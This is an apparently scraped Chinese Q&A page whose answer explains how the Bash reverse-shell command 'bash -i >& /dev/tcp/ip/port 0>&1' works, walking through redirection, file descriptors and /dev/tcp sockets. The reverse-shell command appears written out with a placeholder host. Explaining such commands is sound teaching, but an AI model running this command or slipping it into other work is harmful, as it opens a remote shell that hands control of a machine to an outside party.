问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

利用Bash 反弹 shell

发布网友 发布时间:2022-12-16 22:26

我来回答

1个回答

热心网友 时间:2023-09-27 15:29

利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令

bash -i >& /dev/tcp/ip/port 0>&1

但是为什么这样就能反弹一个 shell 呢?

>&

ls bebe >& 1.txt
bebe 这个文件夹是不存在的,这个时候会发生什么呢?

会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了

在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件

可以看到,当用 2> 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1> 就能正确操作了。

既然有 > ,那么肯定就有 < 了,> 是将输出重定向, < 正好是反过来,重定向输入

/dev/tcp/ip/port

与一台主机指定端口建立 socket 连接

0 >& 1

这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下

看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显示的,这个顺序反了啊

最后

对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 >& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0>&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,这就实现了命令的执行和回显都在远程主机中,方便进行操作。

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
传奇世界退师和出师同样能得到声望吗 声望可以转让吗? 传奇世界 声望怎么弄,最快弄声望的方法? 传奇世界 声望问题徒弟问题 天龙八部2中的哪个门派最牛逼啊 天龙八部手游哪个门派厉害 天龙八部手游门派排名 天龙八部里,三大最强门派,第一实至名归! miui13怎么开启dc调光 小米14怎么样小米14有没有DC调光功能【详解】 小米14dc调光是什么意思 黄豆粉可以怎么吃 制作海带豆粉粥的方法 反弹shell基础 echo &gt;/dev/tcp/8.8.8.8/53是什么意思 【Bash】关于 /dev/tcp/${HOST}/${PORT} 用关联词不仅.....还...说明读书的好处 和因为......所以..... 造句 &lt;&lt;水浒传&gt;&gt;第十五回谁知道? 老马子顶顶顶水水水水谁谁谁水水水水水水水水水水水水水水水水水水水水 如何学习数钱的视频 聊一聊,你手机朋友圈里都有哪些奇葩吧? 试试水水水水谁谁谁水水水水谁谁谁水水水水水水水水水水水水 成熟男人图片头像漫画 谁谁谁谁水水水水谁谁谁水水水水谁谁谁 “高等数学(第二版)李忠 周建莹 编著 北京大学出版”,这个高数教材属于数一、数二、还是数三? 有谁可以介绍一下《高等数学(第2版)(21世纪高职高专规划教材·公共基础系列)》这本书 1030显卡能玩艾尔之光吗 名游社真名叫什么 为什么名游社是中文的 周杰伦举白旗什么意思 吉安市满坤科技有限公司怎么样? 吉安满坤有几个厂 紫皮腰果与普通腰果有什么区别 为什么紫皮腰果比普通的甜呢 50年房子产权到期后都可以续费吗 极品飞车20里有哪些组装车? 大产权50年到期怎么办 产权50年到期怎么办 江苏荣盛电子科技有限公司怎么样? 11月30日二只北交所值得申购吗 11月30日打的新股什么时候可以查中签 深圳市泓荣盛电子科技有限公司怎么样? 深圳市兴荣盛电子有限公司怎么样? 北京荣盛捷电子科技有限公司怎么样? 软件需求分析阶段的工作,可以分为4个方面 美国人是怎样通过美元控制世界的? 美国是怎样通过美元霸权剪全世界羊毛的?告诉你最通俗易懂的回答 绝地求生第一款皮肤是什么 亚马逊店铺英文名称和对外贸易经营备案的英文名称不同有影响吗 建筑cad中样条曲线命令的简化命令为 在霍尔元件测磁场中,B的单位Wb/(m*m)是什么意思 卡西欧b650wb鉴别真假